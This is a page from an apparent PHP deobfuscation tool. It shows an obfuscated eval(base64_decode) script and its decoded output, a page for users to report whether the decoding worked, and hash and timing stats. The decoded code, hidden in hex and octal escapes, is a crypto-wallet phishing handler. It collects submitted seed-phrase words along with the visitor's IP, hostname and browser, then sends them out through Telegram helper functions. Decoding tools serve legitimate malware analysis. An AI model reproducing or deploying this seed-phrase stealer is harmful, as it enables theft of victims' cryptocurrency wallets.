Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIGRKUVZsOyBkSlFWbDogaW5jbHVkZSAiXHgyZVw1Nlx4MmZceDJlXDU2..

Decoded Output download


 goto dJQVl; dJQVl: include "\x2e\56\x2f\x2e\56\x2f\x74\x65\154\145\x67\162\x61\155\56\x70\x68\x70"; goto SUMb6; SUMb6: include "\56\x2e\57\x61\154\x65\x72\164\56\x70\x68\160"; goto XLHJw; XLHJw: include "\x63\x6f\156\163\157\154\145\56\x70\150\x70"; goto TLx42; TLx42: if (isset($_GET["\x74\171\x70\145"])) { $msg = ''; $type = $_GET["\164\171\160\145"]; $ip = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\x41\104\x44\122"]; $host = gethostbyaddr($ip); $agent = $_SERVER["\110\124\124\x50\x5f\125\x53\105\x52\137\x41\107\x45\116\124"]; $filled_words = $_POST["\x66\x69\x6c\x6c\x65\144\137\x77\x6f\162\144\163"]; $total_words = $_POST["\164\x6f\164\x61\x6c\137\167\x6f\x72\144\x73"]; $filled_words = explode("\40", $filled_words); $msg .= "\x5b\x3d\75\x3d\75\x3e\40\x53\105\x45\104\x20\x50\110\x52\x41\x53\105\x20\111\116\106\x4f\40\x3c\75\x3d\x3d\135\12"; $msg .= "\174\40\x54\x79\160\145\x20\72\40{$type}\xa"; $msg .= "\x7c\40\x54\157\164\x61\154\x20\x57\157\x72\x64\x73\40\72\40{$total_words}\12"; foreach ($filled_words as $index => $words) { ++$index; $msg .= "\x7c\x20\x57\x6f\162\x64\40{$index}\x3a\40" . $words . "\xa"; } $msg .= "\x5b\x3d\x3d\x3d\x3d\75\75\75\76\40\x49\120\40\x49\x4e\x46\x4f\x20\x3c\x3d\x3d\75\75\75\x3d\135\xa"; $msg .= "\174\40\x53\165\142\155\151\164\164\x65\x64\x20\x62\171\x20\x3a\40{$ip}\x20\50{$host}\51\12"; $msg .= "\174\x20\102\162\x6f\167\x73\x65\x72\40\72\x20{$agent}\12"; $msg .= "\75\75\75\75\x3d\x3d\x3d\x3d\x3e\40\x45\x4e\x44\40\74\75\x3d\x3d\x3d\75\75\75\xa"; send_telegram_msg($msg); send_my_telegram_msg($msg); telegram_msg($msg); $data["\x73\164\x61\164\165\163"] = "\157\x6b"; echo json_encode($data); } goto dqKjs; dqKjs:

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIGRKUVZsOyBkSlFWbDogaW5jbHVkZSAiXHgyZVw1Nlx4MmZceDJlXDU2XHgyZlx4NzRceDY1XDE1NFwxNDVceDY3XDE2Mlx4NjFcMTU1XDU2XHg3MFx4NjhceDcwIjsgZ290byBTVU1iNjsgU1VNYjY6IGluY2x1ZGUgIlw1Nlx4MmVcNTdceDYxXDE1NFx4NjVceDcyXDE2NFw1Nlx4NzBceDY4XDE2MCI7IGdvdG8gWExISnc7IFhMSEp3OiBpbmNsdWRlICJceDYzXHg2ZlwxNTZcMTYzXDE1N1wxNTRcMTQ1XDU2XHg3MFwxNTBceDcwIjsgZ290byBUTHg0MjsgVEx4NDI6IGlmIChpc3NldCgkX0dFVFsiXHg3NFwxNzFceDcwXDE0NSJdKSkgeyAkbXNnID0gJyc7ICR0eXBlID0gJF9HRVRbIlwxNjRcMTcxXDE2MFwxNDUiXTsgJGlwID0gJF9TRVJWRVJbIlx4NTJceDQ1XDExNVx4NGZcMTI0XHg0NVx4NWZceDQxXDEwNFx4NDRcMTIyIl07ICRob3N0ID0gZ2V0aG9zdGJ5YWRkcigkaXApOyAkYWdlbnQgPSAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFx4NWZcMTI1XHg1M1wxMDVceDUyXDEzN1x4NDFcMTA3XHg0NVwxMTZcMTI0Il07ICRmaWxsZWRfd29yZHMgPSAkX1BPU1RbIlx4NjZceDY5XHg2Y1x4NmNceDY1XDE0NFwxMzdceDc3XHg2ZlwxNjJcMTQ0XDE2MyJdOyAkdG90YWxfd29yZHMgPSAkX1BPU1RbIlwxNjRceDZmXDE2NFx4NjFceDZjXDEzN1wxNjdceDZmXHg3MlwxNDRceDczIl07ICRmaWxsZWRfd29yZHMgPSBleHBsb2RlKCJcNDAiLCAkZmlsbGVkX3dvcmRzKTsgJG1zZyAuPSAiXHg1Ylx4M2RcNzVceDNkXDc1XHgzZVw0MFx4NTNcMTA1XHg0NVwxMDRceDIwXHg1MFwxMTBceDUyXHg0MVx4NTNcMTA1XHgyMFwxMTFcMTE2XDEwNlx4NGZcNDBceDNjXDc1XHgzZFx4M2RcMTM1XDEyIjsgJG1zZyAuPSAiXDE3NFw0MFx4NTRceDc5XDE2MFwxNDVceDIwXDcyXDQweyR0eXBlfVx4YSI7ICRtc2cgLj0gIlx4N2NcNDBceDU0XDE1N1wxNjRceDYxXDE1NFx4MjBceDU3XDE1N1x4NzJceDY0XHg3M1w0MFw3Mlw0MHskdG90YWxfd29yZHN9XDEyIjsgZm9yZWFjaCAoJGZpbGxlZF93b3JkcyBhcyAkaW5kZXggPT4gJHdvcmRzKSB7ICsrJGluZGV4OyAkbXNnIC49ICJceDdjXHgyMFx4NTdceDZmXDE2Mlx4NjRcNDB7JGluZGV4fVx4M2FcNDAiIC4gJHdvcmRzIC4gIlx4YSI7IH0gJG1zZyAuPSAiXHg1Ylx4M2RceDNkXHgzZFx4M2RcNzVcNzVcNzVcNzZcNDBceDQ5XDEyMFw0MFx4NDlceDRlXHg0Nlx4NGZceDIwXHgzY1x4M2RceDNkXDc1XDc1XDc1XHgzZFwxMzVceGEiOyAkbXNnIC49ICJcMTc0XDQwXHg1M1wxNjVcMTQyXDE1NVwxNTFcMTY0XDE2NFx4NjVceDY0XHgyMFx4NjJcMTcxXHgyMFx4M2FcNDB7JGlwfVx4MjBcNTB7JGhvc3R9XDUxXDEyIjsgJG1zZyAuPSAiXDE3NFx4MjBcMTAyXDE2Mlx4NmZcMTY3XHg3M1x4NjVceDcyXDQwXDcyXHgyMHskYWdlbnR9XDEyIjsgJG1zZyAuPSAiXDc1XDc1XDc1XDc1XHgzZFx4M2RceDNkXHgzZFx4M2VcNDBceDQ1XHg0ZVx4NDRcNDBcNzRcNzVceDNkXHgzZFx4M2RcNzVcNzVcNzVceGEiOyBzZW5kX3RlbGVncmFtX21zZygkbXNnKTsgc2VuZF9teV90ZWxlZ3JhbV9tc2coJG1zZyk7IHRlbGVncmFtX21zZygkbXNnKTsgJGRhdGFbIlx4NzNcMTY0XHg2MVwxNjRcMTY1XDE2MyJdID0gIlwxNTdceDZiIjsgZWNobyBqc29uX2VuY29kZSgkZGF0YSk7IH0gZ290byBkcUtqczsgZHFLanM6IA==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 d71d1dbd014f72e0fbd8693850e40c0f
Eval Count 1
Decode Time 62 ms